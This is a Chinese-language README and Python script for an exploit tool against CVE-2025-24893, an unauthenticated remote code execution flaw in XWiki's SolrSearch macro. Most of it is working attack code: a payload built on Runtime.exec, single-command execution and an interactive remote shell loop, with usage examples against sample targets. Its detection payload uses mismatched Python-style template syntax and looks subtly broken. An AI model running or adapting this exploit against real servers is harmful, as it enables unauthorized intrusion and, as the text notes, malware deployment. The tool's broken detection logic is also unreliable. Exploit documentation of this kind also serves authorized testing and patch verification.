CVE-2025-24893 - XWiki未授权RCE漏洞检测工具
📋 项目描述
这是一个针对CVE-2025-24893漏洞的检测与利用工具。CVE-2025-24893是一个影响XWiki平台的严重远程代码执行漏洞,允许未经身份验证的攻击者在目标系统上执行任意代码。该漏洞源于SolrSearch宏中的Groovy代码不安全评估,导致服务器端代码执行。
⚠️ 重要声明:本工具仅供授权的安全测试和教育目的使用。未经授权的使用是非法行为。
✨ 功能特性
- 漏洞检测:自动检测目标XWiki实例是否存在CVE-2025-24893漏洞
- 命令执行:支持在漏洞存在时执行系统命令
- 交互模式:提供交互式shell界面进行多命令操作
- 安全检测:使用无害的命令进行初步漏洞验证
- 多平台支持:支持多种XWiki版本(5.3-milestone2至15.10.10,16.0.0-RC1至16.4.0)
📦 安装指南
系统要求
- Python 3.x
- requests库
- 网络访问权限
安装步骤
- 确保系统已安装Python 3.x
- 安装必要的依赖:
pip install requests
- 下载脚本文件:
git clone https://github.com/B1ack4sh/Blackash-CVE-2025-24893.git
cd Blackash-CVE-2025-24893
🚀 使用说明
基础用法
# 1. 仅检测漏洞
python3 cve-2025-24893.py http://your-lab-xwiki:8080
# 2. 执行单条命令
python3 cve-2025-24893.py http://target:8080 whoami
# 3. 进入交互模式
python3 cve-2025-24893.py http://target:8080
使用示例
- 漏洞检测:
python3 cve-2025-24893.py http://192.168.1.100:8080/
- 执行命令:
python3 cve-2025-24893.py http://192.168.1.100:8080/ "ls -la"
- 交互模式:
python3 cve-2025-24893.py http://192.168.1.100:8080/
RCE $> whoami
RCE $> id
RCE $> exit
注意事项
- 仅在拥有所有权或获得明确授权的目标上使用
- 使用前确保了解相关法律法规
- 建议在测试环境中验证功能
💻 核心代码
1. 漏洞检测函数
def check_vulnerable(target):
"""
检测目标XWiki实例是否存在CVE-2025-24893漏洞
Args:
target: 目标URL
Returns:
bool: 如果存在漏洞返回True,否则返回False
"""
url = f"{target.rstrip('/')}/bin/get/Main/SolrSearch"
# 使用Python代码注入进行检测
params = {
"search": "{{''.__class__.__mro__[1].__subclasses__()[414]('id', shell=True, capture_output=True).communicate()}}"
}
try:
# 发送检测请求
r = requests.get(url, params=params, timeout=15, verify=False, allow_redirects=False)
# 检查响应中是否包含命令执行结果
if r.status_code == 200 and ("uid=" in r.text or "gid=" in r.text):
print("[+] VULNERABLE! Command output detected:")
print(" " + r.text.strip().replace("\n", "\n "))
return True
else:
print("[-] Not vulnerable or command didn't return output.")
return False
except Exception as e:
print(f"[!] Request failed: {e}")
return False
2. 命令执行函数
def execute_command(target, command):
"""
在存在漏洞的目标上执行系统命令
Args:
target: 目标URL
command: 要执行的系统命令
"""
# Groovy RCE payload构造
payload = f"#set($ex=$class.inspect('java.lang.Runtime').getRuntime().exec('{command}'))"
payload += "#set($out=$ex.waitFor())#set($null=$ex.getInputStream().close())"
# URL编码payload
encoded = urllib.parse.quote(payload, safe='')
url = f"{target.rstrip('/')}/bin/get/Main/SolrSearch?search={encoded}&outputSyntax=plain"
try:
# 发送命令执行请求
r = requests.get(url, timeout=20, verify=False, allow_redirects=False)
if r.status_code == 200:
print(f"[+] Command executed: {command}")
print(f" Output:\n{r.text.strip()}")
else:
print(f"[-] HTTP {r.status_code} - No output or blocked")
except Exception as e:
print(f"[!] Error: {e}")
3. 主程序入口
if __name__ == "__main__":
# 显示工具banner
banner()
# 检查命令行参数
if len(sys.argv) < 2:
print("Usage: python3 cve-2025-24893.py http://xwiki-target.com [command]")
print("Example: python3 cve-2025-24893.py http://192.168.1.100:8080/ whoami")
sys.exit(1)
target = sys.argv[1]
print(f"[*] Target: {target}")
# 步骤1: 漏洞检测(非破坏性)
if not check_vulnerable(target):
print("[*] Trying alternative detection...")
# 回退检测方法:执行无害的ping命令
execute_command(target, "ping -c 1 127.0.0.1")
else:
print("[+] Confirmed vulnerable!")
# 步骤2: 交互模式或单命令执行
if len(sys.argv) >= 3:
cmd = " ".join(sys.argv[2:])
execute_command(target, cmd)
else:
print("\n[+] Interactive shell mode (type 'exit' to quit)")
while True:
try:
cmd = input("RCE $> ")
if cmd.lower() in ["exit", "quit"]:
break
if cmd.strip():
execute_command(target, cmd)
except KeyboardInterrupt:
print("\nBye!")
break
4. Banner显示函数
def banner():
"""
显示工具的ASCII艺术banner和基本信息
"""
print(r"""
██████╗ ██╗ █████╗ ██████╗ ██╗ ██╗ █████╗ ███████╗ ██╗ ██╗
██╔══██╗ ██║ ██╔══██╗ ██╔════╝ ██║ ██╔╝ ██╔══██╗ ██╔════╝ ██║ ██║
██████╔╝ ██║ ███████║ ██║ █████╔╝ ███████║ ███████╗ ███████║
██╔══██╗ ██║ ██╔══██║ ██║ ██╔═██╗ ██╔══██║ ╚════██║ ██╔══██║
██████╔╝ ███████╗ ██║ ██║ ╚██████╗ ██║ ██╗ ██║ ██║ ███████║ ██║ ██║
╚═════╝ ╚══════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚═╝ ╚═╝ CVE-2025-24893
Critical XWiki Remote Code Execution Vulnerability
""")
print(" Educational PoC - Only for authorized security testing!\n")
📊 受影响版本
❌ 受影响版本
| XWiki版本系列 | 受影响范围 |
|---|---|
| 5.x → 15.x | 5.3-milestone2 → 15.10.10 |
| 16.x | 16.0.0-RC1 → 16.4.0 |
✅ 已修复版本
| 安全版本 | 说明 |
|---|---|
| 15.10.11 | LTS修复版本 |
| 16.4.1 | 稳定分支修复 |
| 16.5.0-RC1 | 开发分支修复 |
🔧 技术细节
漏洞组件
SolrSearch宏 → RSS渲染 → 用户控制文本的不安全评估
根本原因
- ❌ 用户输入的不正确清理
- ❌ Groovy代码动态评估
- 导致CWE-94 + CWE-95(代码生成/评估注入)
漏洞利用
攻击者通过构造恶意搜索请求来滥用模板渲染功能,从而在服务器端执行任意代码。该漏洞已被用于真实攻击中部署恶意软件,如加密货币挖矿程序。 6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAP/Jlw6Em+eCYkkivuRs1AH